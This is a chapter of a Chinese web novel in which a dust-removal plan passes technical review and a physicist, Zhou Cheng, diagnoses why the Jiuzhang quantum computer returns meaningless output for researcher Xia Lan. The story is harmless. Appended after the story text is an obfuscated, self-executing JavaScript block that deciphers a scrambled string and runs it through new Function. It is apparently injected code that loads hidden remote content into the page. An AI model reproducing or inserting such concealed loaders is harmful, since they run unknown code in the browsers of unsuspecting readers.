陈飞宇在众人期待而紧张的目光下接通了电话。
“是我……嗯……好的……明白……现在吗?……我清楚了!”
刚刚挂断电话,小朱就急切地问道:
“飞宇哥,是我们的方案通过技术审查了吗?”
陈飞宇点了点头,众人都欢呼着相互击掌庆祝。
“这么多天的夜总算没有白熬!”
“现在可以踏踏实实地开始实验阶段的工作咯!”
而陈飞宇的表情却越发地凝重起来,说道:
“申院长让我立刻去参加除尘方案的评审会。”
众人刚刚还兴高采烈的情绪瞬间一扫而空,小朱慌张地说道:
“咱们这方案实体才刚刚做出来,实体实验都还没有开始做,就要评审啦?”
陈飞宇思索片刻之后,说道:
“现在不管那么多了,你们抓紧做好首次实验的准备,随时和我保持联系。”
...
夏岚在九章量子计算机的控制大厅里来回地踱着步,她的眉头就像被贴上了透明胶一般,久久地皱起不能松开。
在她身后不远处有一个两米来高的圆柱形透明容器,里边鳞次栉比地堆码着无数金色的元器件,纷繁而不杂乱。无数细小的管道,以精妙的线路萦绕在一层层的元器件周围。若不是身处这实验室中,说它是出自大家之手的艺术品也毫不违和。
这时,容器里的灯光熄灭了。九章量子计算机的项目负责人李欣走了过来,从他焦灼的面色里夏岚就知道了结果,她问道:
“李博士,又失败了吗?”
李欣长叹了一口气,摇着头说道:
“输出的结果依然是没有任何意义的无序数字排列,我们通过对比测试已经可以确定问题不是出在量子计算机本身。这些天,我们也试着更换了不同的结果解译数学模型,输出的结果都不可解。
夏岚博士,你也知道。我们的九章量子计算机还处于研发试运行阶段。对特定的数学问题有着普通计算机难以比拟的运算能力,但它能处理的问题种类非常有限。我认为可能是我们的计算机不太适合你们这种数据类型的处理。”
夏岚听出了李欣的意思,但现在量子计算机是她在短时间内得出答案的唯一机会。她浅笑着说道:
“我看过九章计算逻辑的数学模型,虽然我在量子力学上的知识非常粗浅,但我认为问题应该不是出在计算机处理的问题类型上,而是可能出现在输出结果的译解模型上。
我想,如果我们再尝试几种新的译解模型,可能就能得到正确的结果。”
不悦的情绪长久地驻留在了李欣的脸上,他说话的语气也变得刻薄起来:
“这些天你们带来的译解模型,再算上我们这儿的同事们重做的译解模型都已经试过十几种了,输出的结果你也看到了。而且,就算问题是出在输出译解的数学模型上,那可能性就太多了,我们逐个去验证的话,我觉得不是很可取。”
尽管李欣的脸色和语气已经将他的态度表达得非常明显,但夏岚依然不肯放弃。她努力在脸上堆起恭维的笑意:
“李博士,我知道这几天已经很麻烦你们了。但观测数据的处理结果对我们太过重要,现在我们除了九章真的已经没有其他办法了,所以请您再尝试几次吧。”
李欣脸上原本牵强的笑容也荡然无存,他带着几分恼怒的口吻说道:
“夏岚博士,为了你们这个项目,我们好几篇论文的撰写工作都暂停了。而且,这台量子计算机不是普通计算机,每次运行都需要用液氦将整个设备降低到零下268度,以维持比特位的量子特性,运行成本是非常高的。
就算我愿意帮你不惜代价地去测试解译模型的正确性,但基地的液氦储量顶多也还够我们运行三次量子运算,你还得考虑下我们基地自己的科研项目呀。”
面对李欣强硬的态度,夏岚考虑再三,还是说道:
“我还想再试一次。”
“现在问题已经非常明显了,根本就不是多试几次就能解决的,你为什么这么执着?”李欣已经有些恼羞成怒。
夏岚知道重申观测数据的重要性已经无济于事,她决定冒着激怒李欣的风险使用最后的赌注,她说道:
“我还是认为应该再试试,毕竟周成教授认可过,我这些数据在量子计算机中的可处理性。”
此话一出,李欣的脸色一下子拉了下去,他看着夏岚的目光几乎要灼伤她的皮肤:
“周教授?他对九章量子计算工程的贡献很大,但他也只是提出了量子计算的理论模型。项目从理论到试运行已经迭代过无数次底层逻辑模型了,他可不一定…….”
话音未落,一个有些故意的咳嗽声音就从身后传来,随之而来的还有那股浓浓的烟草味。
“不一定什么啊?”周成的声音中带着他特有的随意和傲慢。
李欣转身看到周成,刚刚还铁青的脸色一下子涨得通红,连忙扯起笑脸问道:
“周教授,这么晚了,您怎么来了?”
周成并没有理会李欣,反而转向夏岚,说道:
“夏岚啊,这几天都没有接到你的电话,我就估计你的数据处理不顺利,所以过来看看。”
一旁的李欣不敢直视周成,唯唯诺诺地说道:
“您要过来视察工作,给基地打个电话嘛,我派人去接您。”
周成斜眼看了一眼李欣说道:
“我刚刚去你们的液氦储存仓库看了,存量也不少嘛。”
李欣躲避着周成犀利的眼神,解释道:
“我们这边还有好几个科研项目等着做,您也知道,我们的好几个在读博士生的SCI都是基于这些项目……”
不等李欣把话说完,周成就挥手打断了他:
“不扯这些没用的了,现在遇到了什么问题?”
夏岚把现在遇到的情况以及她和李欣的观点都向周成描述了一遍,周成点燃了一支烟,走到总控电脑前,一手夹着烟,一手按动键盘翻阅着数据。
李欣见周成的情绪平缓了下来,在他旁边解释道:
“周教授,夏岚博士是您安排过来做数据运算的,我们肯定全力配合。实际上这几天我们基本天天都在加班处理数据,但这结果您也看到了。
我觉得无论是数据类型不匹配九章的计算方式,还是结果译解数学模型不匹配,都不是反复尝试能得出结果的。解决问题的方式,还是应该……”
“事情没你想的这么复杂。”周成的话打断了李欣,尽管周成都没有转头看他,但李欣还是不由自主地把头低了几分,不敢再说话。
夏岚几步走上前来,兴奋地问道:
“周教授,您的意思是?”
周成吸了一口烟,淡淡地说道:
“你们俩都把事情搞复杂了,这既不是九章不适合处理观测数据,问题也不是出在输出数据的译解模型上。”
李欣一脸难以置信的表情问道:
“那问题出在哪儿了?”
周成转身看向容器内的九章量子计算机,说道:
“你们在计算程序的逻辑模型上,使用的是奥本海默近似来处理量子问题。这让量子计算机在处理你们专门编制的一般数据量计算问题时,结果的偏差可以忽略不计。
但现在夏岚他们的观测数据量比你们测试用的数据在体量上高出了几个数量级,这时奥本海默近似对量子问题处理结果偏差造成的影响就显现出来了。你们只要把量子问题处理得从奥本海默近似换成常规的波函数运算处理就行了。”
夏岚惊叹于周成的能力,她以前只知道周成是国内顶尖的物理学家,另外脾气不太好。但这次,他真正见识了一下这位“东方泡利”的专业水平,仅凭对运算数据短短十几分钟的分析,就找到了问题所在。
李欣迟疑了片刻说道:
“但是,这样会让计算量提高十几个数量级呀!我担心……”
周成再次打断了李欣的话,他冷哼了一声说道:
“哼,运算量级远远未到九章的极限,你是不是需要我给你签个免责协议啊?”
“周教授说笑了,我这就去调整计算逻辑。”
夏岚走上前来,正要开口,周成摆手打断了她,说道:
“正确的分析结果很快就会出来了,你要做好准备。”
夏岚回应道:
“我会一直等在这儿,等数据一出来,我第一时间通知您。”
周成吐出一口烟雾,摇了摇头:
“我说的不是这个,观测结果应该会应验林教授的话。我让你准备好的是,今后整个科学界可能会在迫不得已中突飞猛进了。”
(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();